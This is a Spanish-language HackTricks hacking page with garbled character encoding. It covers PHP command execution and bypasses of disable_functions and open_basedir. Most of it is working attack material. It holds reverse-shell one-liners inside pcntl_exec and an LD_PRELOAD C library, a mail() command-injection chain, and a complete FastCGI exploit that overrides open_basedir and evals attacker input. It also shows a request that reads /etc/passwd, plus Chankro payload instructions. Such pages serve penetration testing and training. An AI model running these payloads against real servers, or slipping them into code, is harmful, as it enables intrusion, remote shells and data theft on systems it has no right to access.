PHP - Funciones 脷tiles y bypass de disable_functions/open_basedir
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Ejecuci贸n de Comandos y C贸digo PHP
Ejecuci贸n de Comandos PHP
Nota: Un p0wny-shell php webshell puede autom谩ticamente verificar y eludir la siguiente funci贸n si algunas de ellas est谩n deshabilitadas.
exec - Devuelve la 煤ltima l铆nea de la salida de los comandos
echo exec("uname -a");
passthru - Pasa la salida de comandos directamente al navegador
echo passthru("uname -a");
system - Pasa la salida de los comandos directamente al navegador y devuelve la 煤ltima l铆nea
echo system("uname -a");
shell_exec - Devuelve la salida de los comandos
echo shell_exec("uname -a");
`` (backticks) - Igual que shell_exec()
echo `uname -a`
popen - Abre un pipe de lectura o escritura a un proceso de un comando
echo fread(popen("/bin/ls /", "r"), 4096);
proc_open - Similar a popen() pero con un mayor grado de control
proc_close(proc_open("uname -a",array(),$something));
preg_replace
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
pcntl_exec - Ejecuta un programa (por defecto en PHP moderno y no tan moderno, necesitas cargar el m贸dulo pcntl.so
para usar esta funci贸n)
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
mail / mb_send_mail - Esta funci贸n se utiliza para enviar correos, pero tambi茅n se puede abusar para inyectar comandos arbitrarios dentro del par谩metro $options
. Esto se debe a que la funci贸n mail
de php generalmente llama al binario sendmail
dentro del sistema y te permite agregar opciones adicionales. Sin embargo, no podr谩s ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y imprimir la salida:
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
dl - Esta funci贸n se puede usar para cargar din谩micamente una extensi贸n de PHP. Esta funci贸n no siempre estar谩 presente, por lo que debes verificar si est谩 disponible antes de intentar explotarla. Lee esta p谩gina para aprender c贸mo explotar esta funci贸n.
Ejecuci贸n de C贸digo PHP
Aparte de eval, hay otras formas de ejecutar c贸digo PHP: include/require se pueden usar para la ejecuci贸n remota de c贸digo en forma de vulnerabilidades de Inclusi贸n de Archivos Locales e Inclusi贸n de Archivos Remotos.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
assert() // identical to eval()
preg_replace('/.*/e',...) // e does an eval() on the match
create_function() // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());
// or serialize/unserialize function
disable_functions & open_basedir
Funciones deshabilitadas es la configuraci贸n que se puede configurar en archivos .ini
en PHP que proh铆be el uso de las funciones indicadas. Open basedir es la configuraci贸n que indica a PHP la carpeta a la que puede acceder.
La configuraci贸n de PHP suele estar en la ruta /etc/php7/conf.d o similar.
Ambas configuraciones se pueden ver en la salida de phpinfo()
:
open_basedir Bypass
open_basedir
configurar谩 las carpetas a las que PHP puede acceder, no podr谩s escribir/leer/ejecutar ning煤n archivo fuera de esas carpetas, pero tambi茅n ni siquiera podr谩s listar otros directorios.
Sin embargo, si de alguna manera puedes ejecutar c贸digo PHP arbitrario, puedes intentar el siguiente fragmento de c贸digos para intentar eludir la restricci贸n.
Listando dirs con glob:// bypass
En este primer ejemplo se utiliza el protocolo glob://
con alg煤n bypass de ruta:
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
Nota1: En la ruta tambi茅n puedes usar /e??/*
para listar /etc/*
y cualquier otra carpeta.
Nota2: Parece que parte del c贸digo est谩 duplicado, 隆pero eso es realmente necesario!
Nota3: Este ejemplo solo es 煤til para listar carpetas, no para leer archivos.
Bypass completo de open_basedir abusando de FastCGI
Si quieres aprender m谩s sobre PHP-FPM y FastCGI puedes leer la primera secci贸n de esta p谩gina.
Si php-fpm
est谩 configurado, puedes abusar de 茅l para eludir completamente open_basedir:
Ten en cuenta que lo primero que necesitas hacer es encontrar d贸nde est谩 el socket unix de php-fpm. Suele estar bajo /var/run
, as铆 que puedes usar el c贸digo anterior para listar el directorio y encontrarlo.
C贸digo de aqu铆.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
Estos scripts se comunicar谩n con el socket unix de php-fpm (generalmente ubicado en /var/run si se usa fpm) para ejecutar c贸digo arbitrario. La configuraci贸n de open_basedir
ser谩 sobrescrita por el atributo PHP_VALUE que se env铆a.
Nota c贸mo se utiliza eval
para ejecutar el c贸digo PHP que env铆as dentro del par谩metro cmd.
Tambi茅n nota la l铆nea comentada 324, puedes descomentarla y el payload se conectar谩 autom谩ticamente a la URL dada y ejecutar谩 el c贸digo PHP contenido all铆.
Solo accede a http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');
para obtener el contenido del archivo /etc/passwd
.
warning
Puede que est茅s pensando que de la misma manera en que hemos sobrescrito la configuraci贸n de open_basedir
, podemos sobrescribir disable_functions
. Bueno, int茅ntalo, pero no funcionar谩, aparentemente disable_functions
solo se puede configurar en un archivo de configuraci贸n .ini
de php y los cambios que realices usando PHP_VALUE no ser谩n efectivos en esta configuraci贸n espec铆fica.
Bypass de disable_functions
Si logras ejecutar c贸digo PHP dentro de una m谩quina, probablemente querr谩s llevarlo al siguiente nivel y ejecutar comandos del sistema arbitrarios. En esta situaci贸n es com煤n descubrir que la mayor铆a o todas las funciones de PHP que permiten ejecutar comandos del sistema han sido deshabilitadas en disable_functions
.
As铆 que, veamos c贸mo puedes eludir esta restricci贸n (si puedes).
Descubrimiento autom谩tico de bypass
Puedes usar la herramienta https://github.com/teambi0s/dfunc-bypasser y te indicar谩 qu茅 funci贸n (si hay alguna) puedes usar para eludir disable_functions
.
Eludir usando otras funciones del sistema
Solo regresa al principio de esta p谩gina y verifica si alguna de las funciones que ejecutan comandos no est谩 deshabilitada y est谩 disponible en el entorno. Si encuentras solo 1 de ellas, podr谩s usarla para ejecutar comandos del sistema arbitrarios.
Bypass de LD_PRELOAD
Es bien sabido que algunas funciones en PHP como mail()
van a ejecutar binarios dentro del sistema. Por lo tanto, puedes abusar de ellas usando la variable de entorno LD_PRELOAD
para hacer que carguen una biblioteca arbitraria que puede ejecutar cualquier cosa.
Funciones que se pueden usar para eludir disable_functions con LD_PRELOAD
mail
mb_send_mail
: Efectivo cuando el m贸dulophp-mbstring
est谩 instalado.imap_mail
: Funciona si el m贸dulophp-imap
est谩 presente.libvirt_connect
: Requiere el m贸dulophp-libvirt-php
.gnupg_init
: Utilizable con el m贸dulophp-gnupg
instalado.new imagick()
: Esta clase puede ser abusada para eludir restricciones. Las t茅cnicas de explotaci贸n detalladas se pueden encontrar en un escrito completo aqu铆.
Puedes encontrar aqu铆 el script de fuzzing que se utiliz贸 para encontrar esas funciones.
Aqu铆 hay una biblioteca que puedes compilar para abusar de la variable de entorno LD_PRELOAD
:
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
Bypass usando Chankro
Para abusar de esta mala configuraci贸n, puedes Chankro. Esta es una herramienta que generar谩 un exploit PHP que necesitas subir al servidor vulnerable y ejecutarlo (acceder a 茅l a trav茅s de la web).
Chankro escribir谩 dentro del disco de la v铆ctima la biblioteca y el reverse shell que deseas ejecutar y usar谩 el**LD_PRELOAD
trick + la funci贸n PHP mail()
** para ejecutar el reverse shell.
Ten en cuenta que para usar Chankro, mail
y putenv
no pueden aparecer en la lista de disable_functions
.
En el siguiente ejemplo puedes ver c贸mo crear un exploit chankro para arch 64, que ejecutar谩 whoami
y guardar谩 la salida en /tmp/chankro_shell.out, chankro escribir谩 la biblioteca y el payload en /tmp y el exploit final se llamar谩 bicho.php (ese es el archivo que necesitas subir al servidor de la v铆ctima):
#!/bin/sh
whoami > /tmp/chankro_shell.out
Si encuentras que la funci贸n mail est谩 bloqueada por funciones deshabilitadas, a煤n puedes usar la funci贸n mb_send_mail.
M谩s informaci贸n sobre esta t茅cnica y Chankro aqu铆: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
"Bypass" utilizando capacidades de PHP
Ten en cuenta que usando PHP puedes leer y escribir archivos, crear directorios y cambiar permisos.
Incluso puedes volcar bases de datos.
Quiz谩s usando PHP para enumerar la caja puedas encontrar una forma de escalar privilegios/ejecutar comandos (por ejemplo, leyendo alguna clave ssh privada).
He creado un webshell que facilita mucho realizar estas acciones (ten en cuenta que la mayor铆a de los webshells tambi茅n te ofrecer谩n estas opciones): https://github.com/carlospolop/phpwebshelllimited
Bypass dependientes de m贸dulos/versiones
Hay varias formas de eludir disable_functions si se est谩 utilizando un m贸dulo espec铆fico o explotar alguna versi贸n espec铆fica de PHP:
- FastCGI/PHP-FPM (FastCGI Process Manager)
- Bypass con FFI - Interfaz de Funci贸n Extranjera habilitada
- Bypass a trav茅s de mem
- mod_cgi
- Extensi贸n PHP Perl Safe_mode
- Funci贸n dl
- Este exploit
- 5.* - explotable con cambios menores al PoC
- 7.0 - todas las versiones hasta la fecha
- 7.1 - todas las versiones hasta la fecha
- 7.2 - todas las versiones hasta la fecha
- 7.3 - todas las versiones hasta la fecha
- 7.4 - todas las versiones hasta la fecha
- 8.0 - todas las versiones hasta la fecha
- Desde 7.0 hasta 8.0 exploit (solo Unix)
- PHP 7.0=7.4 (*nix)
- Imagick 3.3.0 PHP >= 5.4
- PHP 5.x Shellsock
- PHP 5.2.4 ionCube
- PHP <= 5.2.9 Windows
- PHP 5.2.4/5.2.5 cURL
- PHP 5.2.3 -Win32std
- Explotaci贸n FOpen de PHP 5.2
- PHP 4 >= 4.2.-, PHP 5 pcntl_exec
Herramienta Autom谩tica
El siguiente script prueba algunos de los m茅todos comentados aqu铆:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php
Otras funciones interesantes de PHP
Lista de funciones que aceptan callbacks
Estas funciones aceptan un par谩metro de cadena que podr铆a usarse para llamar a una funci贸n de elecci贸n del atacante. Dependiendo de la funci贸n, el atacante puede o no tener la capacidad de pasar un par谩metro. En ese caso, se podr铆a usar una funci贸n de divulgaci贸n de informaci贸n como phpinfo().
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
Divulgaci贸n de Informaci贸n
La mayor铆a de estas llamadas a funciones no son sumideros. Pero podr铆a ser una vulnerabilidad si alguno de los datos devueltos es visible para un atacante. Si un atacante puede ver phpinfo(), definitivamente es una vulnerabilidad.
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
Otro
extract // Opens the door for register_globals attacks (see study in scarlet).
parse_str // works like extract if only one argument is given.
putenv
ini_set
mail // has CRLF injection in the 3rd parameter, opens the door for spam.
header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
Funciones del Sistema de Archivos
Seg煤n RATS, todas las funciones del sistema de archivos en php son desagradables. Algunas de estas no parecen muy 煤tiles para el atacante. Otras son m谩s 煤tiles de lo que podr铆as pensar. Por ejemplo, si allow_url_fopen=On, entonces una URL puede ser utilizada como una ruta de archivo, por lo que una llamada a copy($_GET['s'], $_GET['d']); puede ser utilizada para subir un script PHP a cualquier lugar del sistema. Adem谩s, si un sitio es vulnerable a una solicitud enviada a trav茅s de GET, cada una de esas funciones del sistema de archivos puede ser abusada para canalizar un ataque a otro host a trav茅s de tu servidor.
Controlador de sistema de archivos abierto
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
Escribir en el sistema de archivos (parcialmente en combinaci贸n con la lectura)
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng // 2nd parameter is a path.
imagewbmp // 2nd parameter is a path.
image2wbmp // 2nd parameter is a path.
imagejpeg // 2nd parameter is a path.
imagexbm // 2nd parameter is a path.
imagegif // 2nd parameter is a path.
imagegd // 2nd parameter is a path.
imagegd2 // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir
Leer del sistema de archivos
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.